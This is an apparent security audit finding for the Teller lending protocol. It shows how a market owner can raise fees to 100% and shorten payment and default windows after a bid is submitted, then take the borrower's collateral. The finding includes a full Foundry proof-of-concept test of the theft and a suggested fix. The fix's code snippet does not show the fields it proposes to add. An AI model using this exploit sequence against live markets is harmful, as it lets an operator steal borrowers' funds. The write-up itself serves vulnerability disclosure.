dingo

high

# [H-01] MarketOwner can steal collaterall from all bids.

## Summary
SC: MarketRegistry.sol, TellerV2.sol

This vulnerability arise because marketOwner could change market settings any time (fee, payment cycle duration, default duration etc.), than acceptBid and withdraw collateral due to the `default` status of loan. Status of loan changed not at published bid, but only when it accepted by lender.

## Vulnerability Detail

Attack vector:
1) MarketOwner create market;
2) Waiting for loan bids with confirmed collateral;
3) MarketOwner set `setMarketFeePercent` at `100%(10_000)`, set `setPaymentCycle` at `1` second, set `setPaymentDefaultDuration` at `1` second. //If protocol fee set for `10%`, than he must set `90% fee`.
4) Call `withdraw()` at `CollateralManager.sol`.

As a result whole principal and collateral goes to marketOwner and lender(second acc of marketOwner).

Let's suppose principal is `50`, collateral is `100`.
As a result marketOwner(+lender acc, it is second acc of marketOwner) income could be:
`50` (arise while calling `lenderAcceptBid()` with 100% fee, so all principal goes to marketOwner), also `100`  because marketOwner calls `withdraw()` and claim collateral at amount of`100`. Minus `50` issued principal to borrower. Total `50+100-50 = +100`;

Foundry test for` b)` case:
1) Create `H-01.t.sol `and run `forge test --match-path tests/TellerV2/H-01.t.sol -vvvv` 
2) Test code:  **`lender below is second marketOwner's account.
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../contracts/TellerV2.sol";
import "../tokens/TestERC20Token.sol";
import "./User.sol";

import "../../contracts/EAS/TellerAS.sol";
import "../../contracts/EAS/TellerASEIP712Verifier.sol";
import "../../contracts/EAS/TellerASRegistry.sol";

import {ReputationManager} from "../../contracts/ReputationManager.sol";
import "../../contracts/CollateralManager.sol";
import "../../contracts/LenderManager.sol";
import {MarketRegistry} from "../../contracts/MarketRegistry.sol";
import "../../contracts/LenderCommitmentForwarder.sol";
import "../../contracts/escrow/CollateralEscrowV1.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract MyTest is Test {

    TellerV2 tellerV2;
    TestERC20Token lendingToken;
    TestERC20Token lendingTokenZeroDecimals;
    User borrower;
    User lender;
    User receiver;
    User marketOwner;
    User feeRecipient;
    User trustedForwarder;
    MarketRegistry marketRegistry;
    ReputationManager reputationManager;
    CollateralManager collateralManager;
    LenderManager lenderManager;
    LenderCommitmentForwarder lenderCommitmentForwarder;
    CollateralEscrowV1 collateralEscrowV1;
    UpgradeableBeacon upgradeableBeacon;
   
    TellerAS tellerAS;
    TellerASEIP712Verifier tellerASEIP712Verifier;
    TellerASRegistry tellerASRegistry;

    function setUp() public {

        borrower                  = new User();
        lender                    = new User();
        receiver                  = new User();
        marketOwner               = new User();
        feeRecipient              = new User();
        trustedForwarder          = new User(); //~
        tellerV2                  = new TellerV2(address(this)); //trustedForwarder in const
        tellerASEIP712Verifier    = new TellerASEIP712Verifier();
        tellerASRegistry          = new TellerASRegistry();
        tellerAS                  = new TellerAS(tellerASRegistry,tellerASEIP712Verifier);

        marketRegistry            = new MarketRegistry();
        reputationManager         = new ReputationManager();
        collateralManager         = new CollateralManager();
        lenderManager             = new LenderManager(marketRegistry);
        lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));
        collateralEscrowV1        = new CollateralEscrowV1();
        upgradeableBeacon         = new UpgradeableBeacon(address(collateralEscrowV1));

        lendingToken             = new TestERC20Token("Wrapped Ether", "WETH", 1e30, 18);
        lendingTokenZeroDecimals = new TestERC20Token(
            "Wrapped Ether",
            "WETH",
            1e16,
            0
        );
        deal({token: address(lendingToken), to: address(lender), give: 100e18});
        deal({token: address(lendingToken), to: address(borrower), give: 100e18});
        vm.prank(address(lender));
        lendingToken.approve(address(tellerV2),100e18);
        vm.prank(address(borrower));
        lendingToken.approve(address(tellerV2),100e18);
        //log
        
        reputationManager.initialize(address(tellerV2));
        marketRegistry.initialize(tellerAS);
        collateralManager.initialize(address(upgradeableBeacon),address(tellerV2));
        tellerV2.initialize(
            0,  //_protocolFee
            address(marketRegistry),
            address(reputationManager),
            address(lenderCommitmentForwarder),
            address(collateralManager),
            address(lenderManager)
        );
    }

    function testAttack() public {
        
        vm.startPrank(address(marketOwner));
        marketRegistry.createMarket(
            address(marketOwner),
            30 days, 
            10,       //_paymentDefaultDuration 
            1 days,   //_bidExpirationTime
            0,        //feePercent  <<==Fee is 0
            false,    //lenderAttest
            false,    //borrowerAttest
            "mytestURI"
        );
        vm.stopPrank();

        //Bid with collateral
        Collateral[] memory collateral = new Collateral[](1);
        Collateral memory collateral_1 = Collateral ({
            _collateralType: CollateralType.ERC20,
            _amount: 100e18, //set ollateral here
            _tokenId: 0,
            _collateralAddress: address(lendingToken)
        });
        collateral[0] = collateral_1;
        console.log("===========================BEFORE submitBid======================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("MarketOwner ERC20 balance:       ",lendingToken.balanceOf(address(marketOwner)));
        console.log("Collaterall Proxy ERC20 balance:    ",lendingToken.balanceOf(0x1F88f48585ad6754e59c03debd4502399e33Ff50)); //Beacon proxy, CollateralManager.sol `mapping(uint256 => address) public _escrows`
        vm.startPrank(address(borrower));
        tellerV2.submitBid(
            address(lendingToken), // lending token
            1, //_marketplaceId
            50e18, // principal
            365 days, // duration
            0, // interest rate 
            "", // metadata URI
            address(borrower), // receiver
            collateral
        );
        lendingToken.approve(address(collateralManager),100e18);
        vm.stopPrank();
        
        //attacker configures market to steal funds
        vm.startPrank(address(marketOwner));
        marketRegistry.setMarketFeePercent(1,10000);
        marketRegistry.setPaymentCycle(1,PaymentCycleType.Seconds,1);
        marketRegistry.setPaymentDefaultDuration(1,1);
        vm.stopPrank();

        vm.startPrank(address(lender));
        tellerV2.lenderAcceptBid(0);

        console.log("===========================AFTER lenderAcceptBid====================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("MarketOwner ERC20 balance:       ",lendingToken.balanceOf(address(marketOwner)));
        console.log("Collaterall Proxy ERC20 balance:    ",lendingToken.balanceOf(0x1F88f48585ad6754e59c03debd4502399e33Ff50)); //Beacon proxy, CollateralManager.sol `mapping(uint256 => address) public _escrows`

        vm.warp(block.timestamp+15);
        collateralManager.withdraw(0);

        console.log("===========================AFTER liquidate by lender=================================");
        console.log("Borrower ERC20 balance:          ",lendingToken.balanceOf(address(borrower)));
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("MarketOwner ERC20 balance:       ",lendingToken.balanceOf(address(marketOwner)));
        console.log("Collaterall Proxy ERC20 balance:    ",lendingToken.balanceOf(0x1F88f48585ad6754e59c03debd4502399e33Ff50)); //Beacon proxy, CollateralManager.sol `mapping(uint256 => address) public _escrows`

        vm.stopPrank();

    }
}
```
![image](https://user-images.githubusercontent.com/106747559/232792300-d8cd38e4-336c-4bdd-a98f-8b789855c8d6.png)

As a result we see that borrower had `100 eth`, after attack `0 eth`.
Market owner + lender (second acc controlled by market owner) had `100 eth`, after attack `200 eth`.

## Impact
All bid's collateral under attack.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L250
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/MarketRegistry.sol#L621


## Tool used
Manual review

## Recommendation
Add to Bid struct variable which fix `MarketFeePercent`, `PaymentCycle` and  `PaymentDefaultDuration`.
Than add require, that they should equal while accepting bid.
```solidity
struct Bid {
    address borrower;
    address receiver;
    address lender; // if this is the LenderManager address, we use that .owner() as source of truth
    uint256 marketplaceId;
    bytes32 _metadataURI; // DEPRECATED
    LoanDetails loanDetails;
    Terms terms;
    BidState state;
    PaymentType paymentType;
}
```